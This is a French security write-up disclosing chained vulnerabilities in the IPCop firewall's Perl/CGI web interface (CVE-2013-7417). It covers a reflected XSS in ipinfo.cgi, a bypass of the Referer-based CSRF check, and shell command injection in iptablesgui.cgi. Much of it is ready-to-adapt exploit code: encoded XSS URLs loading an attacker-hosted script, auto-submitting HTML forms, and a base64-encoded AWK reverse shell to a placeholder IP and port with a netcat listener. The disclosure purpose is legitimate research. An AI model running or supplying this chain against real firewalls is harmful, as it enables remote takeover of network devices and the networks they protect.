Dans la lignée des distributions Linux faisant offices de routeurs/firewalls complets au même titre que pfSense ou m0n0wall, IPCop s’avère être une référence dans le milieu.
IPCop permet d’instaurer une zone démilitarisée, servir de serveur DNS, DHCP, NTP, proxy, le tout avec une forte consonante sécurité. A l’origine, cette distribution est un fork du projet Smoothwall. Toutefois, depuis la nouvelle branche 2.X d’IPCop, les projets se sont développés indépendamment.
Sous license GPL en open-source, IPCop est destiné à protéger les petites infrastructures des particuliers ou des PME. Il peut fonctionner avec une configuration matérielle légère et exploite le principe des réseaux colorés pour son architecture de sécurité fonctionnelle :
- 1 réseau rouge, relié à l’Internet (WAN)
- 1 réseau vert relié au réseau local (LAN)
- 1 réseau orange, associé à la DMZ
- 1 réseau bleu pour les composants Wifi (WLAN)
IPCop se configure par WebGUI accessible en HTTP ou HTTPS (scripts Perl/CGI) ou via un terminal SSH. La dernière version en date est du 29 octobre 2014, à savoir la 2.1.7. Les vulnérabilités ont été identifiées et testées au temps de la version 2.0.6 (octobre 2013) et, bien qu’un ticket ait été ouvert sur le support, ces vulnérabilités ont perduré jusqu’à la version 2.1.2 (RXSS) et 2.1.4 (RCE). Cet article est à présent diffusé suite à la validation des corrections à partir de la version 2.1.5.
Pour faire suites aux diverses analyses de telles solutions de firewall/routeur, je me suis attardé sur la solution d’IPCop afin d’en décortiquer un peu le fonctionnement. La dernière release 2.0.x officielle commençant à dater, et le peu de vulnérabilités concernant IPCop déjà décelées, j’ai souhaité creuser cette distribution pour comprendre ce qui la faisait aussi robuste.
Et bien celle-ci s’avère très robuste et vraiment complète au passage. Il m’a toutefois été possible d’exploiter une de ses faiblesses de manière un peu tordue afin d’obtenir un reverse-shell complet à distance.
Analyse de la solution
Mon intérêt s’est porté sur le code de l’interface WebGUI, entièrement écrit en Perl/CGI. Ces interfaces sont généralement les vecteurs de corruptions d’un système. Bien que je n’ai pas effectué un pentest complet de la solution, certains vecteurs d’attaques ont été décelé me permettant d’appuyer mes propos.
Remarque générale sur la WebGUI
La WebGUI se composent d’une multitude de scripts Perl/CGI. Pour s’y connecter, IPCop est en écoute sur deux ports distincts :
- Le port 81 pour l’administration par HTTP
- Le port 8443 pour l’administration par HTTP
L’authentification se fait par un système Basic Auth (htaccess) avec le compte « admin » (le compte root n’étant exploitable que via SSH sur le port 8022 désactivé par défaut).
Un mécanisme pour prémunir la solution d’attaques CSRF est présent. IPCop vérifie sur toutes ses pages la présence de l’en-tête HTTP(S) « Referer ». Si cet en-tête n’est pas présent ou bien n’est pas défini à l’URL d’IPCop lui-même, alors la page se charge mais aucun paramètre POST n’est interprété.
L’interface WebGUI effectue de nombreux appels à des fonctions system() en Perl pour appliquer sa configuration sur la distribution, ainsi qu’à l’exécution de commandes par backtick `my cmd`. La plupart des appels à la fonction system() sont correctement sécurisés. Cette fonction accepte 1 à N argument(s). Le premier étant obligatoire, et les N suivants étant des paramètres de la commande à exécuter. Lorsqu’un paramètre d’une telle commande est variable, celui-ci ne doit pas figurer dans la chaîne du premier argument, mais bien parmi ceux qui suivent. En effet, les arguments qui suivent le premier sont traités automatiquement pour éviter des injections ou des enchaînements de commande :
system('/usr/bin/touch $x'); // RCE exploitable if $x == 'x && cat /etc/passwd'; system('/usr/bin/touch', $x); // injection auto-protected
IPCop gère convenablement ce principe dans tout son code source, à part pour de rares exceptions.
Par contre, en ce qui concerne les backtick « , là il est plus compliqué de nettoyer les variables dynamiques intégrées à la commande système. C’est ce sur quoi nous allons nous attarder.
XSS non-persistent en GET
Le fichier /home/httpd/cgi-bin/ipinfo.cgi permet d’exécuter un whois sur une IP arbitraire au travers de la WebGUI. La valeur passée est vérifiée avant d’être testée. Toutefois, celle-ci est ré-affichée dans la page. Cet affichage est produit par la ligne 82 :
&Header::openbox('100%', 'left', $addr . ' (' . $hostname . ') : '.$whoisname);
Où les données ne sont pas suffisamment nettoyées. En effet, lorsqu’on transmet un vecteur canonique d’XSS tel que :
<script>alert('XSS_by_Yann_CAM')</script>
La seule protection appliquée est l’URLEncode natif du navigateur client utilisé. Autrement dit, cette injection n’est pas fonctionnelle sur Chrome ou Firefox, mais l’est sur IE :
Bypass de la protection CSRF via le referer
Comme énoncé en amont, IPCop est protégé contre les attaques CSRF en vérifiant la page de provenance (referer) de chacune de ses requêtes. Ainsi, il n’est pas possible d’automatiser une CSRF directe, qui remplierait/enverrait un formulaire précis dans IPCop à l’insu de l’administrateur légitime.
Toutefois, il a été décelé une vulnérabilité de type XSS GET non-persistante. Et celle-ci bien que pouvant paraître anodine et inutile, va être d’un grand secours.
L’idée est d’utiliser l’XSS GET pour injecter du code Javascript dans IPCop. Comme IPCop bloque uniquement les données POST si le referer n’est pas valide et que nos injections XSS transitent par données GET, alors notre code JS s’exécute bien dans IPCop (cf paragraphe précédent). Ainsi, pour réaliser une requête POST avec un referer valide dans IPCop, il est nécessaire de suivre ces étapes :
- Exploitation de la vulnérabilité XSS pour injecter du code JS qui va charger un fichier.js annexe dans le contexte d’IPCop
- Ce fichier.js externe va pouvoir effectuer toutes requêtes GET/POST (via AJAX et JQuery) sur IPCop, dans le contexte du firewall, donc avec un referer valide.
- Il sera alors possible de simuler une CSRF par l’intermédiaire d’une XSS GET simple.
Pour prouver mes dires, voici un exemple de scénario possible. Le pentester défini un script JS sur un serveur web qui lui appartient, accessible par IPCop : http://<PENTESTER_WEBSITE>/x.js, où x.js peut être :
var headx=document.getElementsByTagName('head')[0]; var jq= document.createElement('script'); jq.type= 'text/javascript'; jq.src= 'http://code.jquery.com/jquery-latest.min.js'; headx.appendChild(jq); // jquery dynamic loading function loadX(){ $.ajax({ type: 'POST', url: 'https://<IPCOP_IP>:8443/cgi-bin/', contentType: 'application/x-www-form-urlencoded;charset=utf-8', dataType: 'text', data: '' }); // payload of your choice } setTimeout('loadX()',2000);
Ce code JavaScript qui sera exécuté dans le contexte d’IPCop réalise les opérations suivantes :
- Chargement de la bibliothèque JQuery à la volée dans le DOM
- Déclaration d’une fonction JS qui exploite l’objet $ajax de JQuery pour réaliser une requête POST arbitraire dans le contexte d’IPCop.
- Délai de 2 secondes avant l’exécution de la fonction Ajax POST, afin de s’assurer que le chargement dynamique de JQuery dans le DOM a bien été réalisé.
Maintenant, il suffit d’exploiter l’XSS GET présentée précédemment pour charger ce fichier http://<PENTESTER_WEBSITE>/x.js directement dans le contexte d’IPCop. Ce chargement de fichier s’effectue par les instructions suivantes :
var head=document.getElementsByTagName('head')[0];var script= document.createElement('script');script.type= 'text/javascript';script.src= 'http://<PENTESTER_WEBSITE>/x.js';head.appendChild(script);
Seulement IPCop nettoie (sanitize) certains caractères, tels que les points-virgules (;). Ainsi, il est nécessaire d’échapper via la fonction escape() de Javascript l’ensemble de cette chaîne, pour que l’injection fonctionne (utiliser ce convertisseur) :
%76%61%72%20%68%65%61%64%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%5B%30%5D%3B%76%61%72%20%73%63%72%69%70%74%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%73%63%72%69%70%74%2E%74%79%70%65%3D%20%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%3B%73%63%72%69%70%74%2E%73%72%63%3D%20%27%68%74%74%70%3A%2F%2F%31%39%32%2E%31%36%38%2E%31%35%33%2E%31%2F%78%2E%6A%73%27%3B%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0A%09%09%09
Enfin, après avoir encodée l’injection, on génère la syntaxe finale de l’XSS GET pour que ce vecteur soit décodé (unescape()) à la volée et interprété (eval()) dans le contexte de la page IPCop :
https://<IPCOP_HOST>:8443/cgi-bin/ipinfo.cgi?<script>eval(unescape('%76%61%72%20%68%65%61%64%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%5B%30%5D%3B%76%61%72%20%73%63%72%69%70%74%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%73%63%72%69%70%74%2E%74%79%70%65%3D%20%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%3B%73%63%72%69%70%74%2E%73%72%63%3D%20%27%68%74%74%70%3A%2F%2F%31%39%32%2E%31%36%38%2E%31%35%33%2E%31%2F%78%2E%6A%73%27%3B%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0A%09%09%09'))</script>
Je rappelle que ces vecteurs sont uniquement compatibles IE dû à l’URLEncode natif des autres navigateur, cf premier paragraphe.
Le fichier x.js arbitraire chargé à la volée via XSS va donc nous permettre d’exécuter tout type de requête (GET/POST) vers n’importe quelle page d’IPCop, et ce, dans le contexte d’IPCop donc avec un referer valide.
Remote Command Execution
Le fichier /home/httpd/cgi-bin/iptablesgui.cgi est vulnérable à une injection arbitraire de commande shell. En effet, la ligne 99 (et la 102 au passage) utilise(nt) la syntaxe des backticks pour exécuter une commande shell :
$output = `/usr/local/bin/iptableswrapper $cgiparams{'TABLE'} 2>&1`;
La variable $cgiparams{‘TABLE’} est transmise par données POST à la page (donc dans un contexte avec un referer valide), et celle-ci n’est pas nettoyée. Il est ainsi possible de modifier cette variable pour chaîner des commandes shell au sein de l’instruction perl vulnérable.
Pour chaîner des commandes shell, les délimiteurs « && », « ; » ou « || » sont généralement utilisés dans les environnements Unix. Toutefois, dans le cas d’IPCop, les caractères « && » et « ; » ne sont pas pris en compte dans les injections, ils ne sont donc pas utilisables. La seule alternative est le « OU LOGIQUE » via « || ». Pour qu’une commande qui suit ce « || » soit exécutée, il faut que la commande qui le précède retourne « faux » (ou logique séquentiel). Ainsi le binaire /usr/local/bin/iptableswrapper doit retourner un code d’erreur. Ceci peut se faire en exécutant simplement le binaire sans aucun paramètre :
root@ipcop:/# /usr/local/bin/iptableswrapper invalid parameter(s)
L’injection suivante en découle :
/usr/local/bin/iptableswrapper ||
Ainsi, le PoC suivant est fonctionnel pour créer un fichier « x » dans /tmp ; si bien sur le referer est valide :
<form action="https://<IPCop_IP>:8443/cgi-bin/iptablesgui.cgi" method="post" name="x"> <input name="TABLE" type="hidden" value="||touch /tmp/x;#" /> <input name="CHAIN" type="hidden" value="" /> <input name="ACTION" type="hidden" value="Rafra%C3%AEchir" /> </form> <script>document.forms['x'].submit();</script>
Note : La valeur du champ « ACTION » doit être définie en fonction de la langue courante d’IPCop paramétrée. Dans cet exemple, IPCop est configuré en français.
D’une XSS vers une CSRF pour obtenir finalement un RCE (reverse-shell complet)
Suite à la présentation succincte des trois techniques ci-dessus (XSS GET, bypass CSRF protection et finalement RCE), voyons en détail un PoC complet qui permet d’obtenir un reverse-shell interactif sur IPCop. Pour l’obtention d’un tel shell, l’utilisation combinée des vulnérabilités précédentes est nécessaire.
Le scénario général
- Exploiter l’XSS GET pour charger un script JS à la volée dans le contexte IPCop
- Exécuter une requête POST Ajax dans le contexte d’IPCop par le script JS précédemment importé.
- Cette requête POST Ajax sera à destination de la page vulnérable à une exécution de commande arbitraire. Elle sera valide avec un referer défini dans le contexte.
- La commande arbitraire envoyée permettra l’obtention d’un reverse-shell sur le système.
Notes préliminaires
IPCop, dans sa dernière version, est une distribution relativement allégée. Ainsi, peu d’outils/binaires sont présents pour permettre de récupérer un reverse-shell. IPCop ne dispose pas de netcat, socat, telnet, php, python ou même ruby. Par contre, Perl est présent ainsi que l’utilitaire AWK d’Unix. Ces deux outils permettent aisément de récupérer un shell sur a machine. Je vous renvoi au reverse-shell cheat sheet d’ASafety pour une liste complète des techniques one-line.
Dans le cadre de ce PoC, la technique employée exploite AWK, dont une version one-line a été développée par ASafety :
awk 'BEGIN {s = '/inet/tcp/0/<IP>/<PORT>'; while(42) { do{ printf 'shell>' |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != 'exit') close(s); }}' /dev/null
L’exécution de cette commande dans un terminal Unix, avec un netcat (nc -l -vv -p <PORT>) sur la machine <IP> du pentester, permet de récupérer un shell interactif complet sur le système.
Conception du payload
A la lecture de cet article, vous aurez compris que certains caractères ne sont pas pris en compte lors d’injections par la WebGUI d’IPCop. Comme c’est le cas pour les points-virgules (;). Ainsi, il est nécessaire d’encoder ce payload AWK en base64 (après avoir remplacé <IP> et <PORT> bien entendu, ce qui n’est pas fait dans la suite) :
YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWxlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIGM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8JiBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsgfX0nIC9kZXYvbnVsbA==
L’idée va être d’envoyer ce payload encodé en base64 à IPCop, et d’utiliser les outils shell internes d’IPCop pour le décoder et l’interpréter à la volée. Pour décoder cette chaîne en base64, IPCop dispose de l’outil binaire « openssl ». Il sera ainsi possible de décoder du base64 via la commande :
echo '<BASE64>' | openssl enc -a -d
Seulement cette commande « openssl » n’accepte que des valeurs base64 en entrée qui soient scindées par paquet de 64 caractères. Ainsi, tous les 64 caractères, ajouter un « \n » dans notre payload précédent :
YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==
Ce payload est maintenant pleinement encodé et dé-codable à la volée :
echo -e 'YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==' | openssl enc -a -d
Ce n’est pas tout de pouvoir le décoder, il faut aussi pouvoir l’interpréter. Pour cela, l’ajout de backtick et de la commande « eval » suffit :
eval `echo -e 'YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==' | openssl enc -a -d`
Finalement, au regard de la syntaxe de l’injection RCE dans le fichier iptablesgui.cgi, notre command arbitraire pour la donnée POST « TABLE » sera :
||eval `echo -e "YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==" | openssl enc -a -d`;#
PoC HTML (nécessite un referer valide)
Ce PoC suivant nécessite un referer valide, la langue d’IPCop en français (champ « ACTION ») et un netcat en écoute sur <IP> et <PORT> (payload non modifié) :
<form action="https://<IPCop_IP>:8443/cgi-bin/iptablesgui.cgi" method="post" name="x"> <input name="TABLE" type="hidden" value="||eval `echo -e 'YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA==' | openssl enc -a -d`;#" /> <input name="CHAIN" type="hidden" value="" /> <input name="ACTION" type="hidden" value="Rafra%C3%AEchir" /> </form> <script>document.forms['x'].submit();</script>
Si le referer est valide, ce PoC est fonctionnel sur n’importe quel navigateur (testé sur Firefox avec TamperData).
PoC XSS to bypass CSRF protection to RCE to Reverse-shell
Le PoC final, cumulant toutes les techniques précédentes :
Le fichier JS du pentester
var headx=document.getElementsByTagName('head')[0]; var jq= document.createElement('script'); jq.type= 'text/javascript'; jq.src= 'http://code.jquery.com/jquery-latest.min.js'; headx.appendChild(jq); function loadX(){ $.ajax({ type: 'POST', url: 'https://<IPCOP_IP>:8443/cgi-bin/iptablesgui.cgi', contentType: 'application/x-www-form-urlencoded;charset=utf-8', dataType: 'text', data: 'CHAIN=&ACTION=Rafra%C3%AEchir&TABLE=%7C%7Ceval+%60echo+-e+%22YXdrICdCRUdJTiB7cyA9ICIvaW5ldC90Y3AvMC88SVA+LzxQT1JUPiI7IHdoaWx\nlKDQyKSB7IGRveyBwcmludGYgInNoZWxsPiIgfCYgczsgcyB8JiBnZXRsaW5lIG\nM7IGlmKGMpeyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8J\niBzOyBjbG9zZShjKTsgfSB9IHdoaWxlKGMgIT0gImV4aXQiKSBjbG9zZShzKTsg\nfX0nIC9kZXYvbnVsbA%22%22+%7C+openssl+enc+-a+-d%60%3B%23' }); } setTimeout('loadX()',2000);
Remarques :
- Injection testée fonctionnelle sur IE
- Changer l’IP d’IPCop dans le fichier JS
- Changer le payload POST « TABLE » avec celui généré qui contient la bonne <IP>/<PORT> du pentester
- Changer la valeur du champ « ACTION » avec celui de la langue définie dans IPCop.
L’URL XSS GET IE chargeant ce fichier JS
Cette URL est la même que la précédente :
https://<IPCOP_IP>:8443/cgi-bin/ipinfo.cgi?<script>eval(unescape('%76%61%72%20%68%65%61%64%3D%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%5B%30%5D%3B%76%61%72%20%73%63%72%69%70%74%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%73%63%72%69%70%74%2E%74%79%70%65%3D%20%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%3B%73%63%72%69%70%74%2E%73%72%63%3D%20%27%68%74%74%70%3A%2F%2F%31%39%32%2E%31%36%38%2E%31%35%33%2E%31%2F%78%2E%6A%73%27%3B%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0A%09%09%09'))</script>
Vidéo PoC de démonstration
La vidéo suivante illustre l’ensemble de ces techniques. Elle présente :
- La tentative de récupération d’un reverse-shell sans définir de referer valide dans Firefox (ne fonctionne pas)
- La récupération d’un reverse-shell après avoir défini un referer manuellement dans Firefox
- L’automatisation et le referer bypass via Internet Explorer pour obtenir un reverse-shell
Conclusion et notes de fin
L’équipe en charge du développement de la solution IPCop a été alertée le 31 mars 2013 avec tous les exemples, PoC et vidéo de démonstration. Aucun retour n’a été fait sur ce ticket malgré plusieurs relance ; celui-ci est toujours au statut « open ». Suite à la diffusion de ce ticket, la version 2.0.6, 2.1.1 et 2.1.2 sont sorties sans présenter de correctif. La version 2.1.3 corrigeait la RXSS et il a fallu attendre la 2.1.5 pour voir une correction du RCE.
IPCop s’avère être une solution de qualité, et vraiment robuste. Certes les techniques précédentes permettent d’obtenir un reverse-shell sur la distribution, mais l’application de cet exploit peut s’avérer complexe à mettre en oeuvre.
Cet article présente l’importance qu’une simple XSS non-persistante en variable GET peut avoir dans le cycle de vie d’un exploit. Il ne faut pas sous-estimer les simples XSS de la sorte, au vue de leur utilisation par un framework tel que BeEF ou cumulées avec d’autres techniques comme dans ce présent article.
Je tiens également à préciser que l’ensemble de la solution IPCop n’a pas été pleinement analysée, faute de temps. Il est possible (probable) que d’autres points d’entrées pour diverses injections perdurent.
Pour finir je tiens à saluer mon cher Georges Taupin pour m’avoir soutenu durant ces heures d’analyse d’IPCop et pour son intérêt quand à cette solution de grande qualité.
Sources & ressources
- IPCop Home
- IPCop 1.4.1 Web Administration Interface Proxy Log HTML Injection Vulnerability
- IPCop ticket
- HTML/text/JavaSript Escaping/Encoding Script
- ASafety reverse-shell cheat-sheet
- TamperData – module pour Firefox
- IPCop <= 2.0.6 XSS to CSRF to RCE PoC video by ASafety
- Advisory – PacketStormSecurity
- Vulnerability Summary for CVE-2013-7417 – NVD-NIST
- IPCop ipinfo.cgi cross-site scripting – XForce
- CVE-2013-7417 – CVE MITRE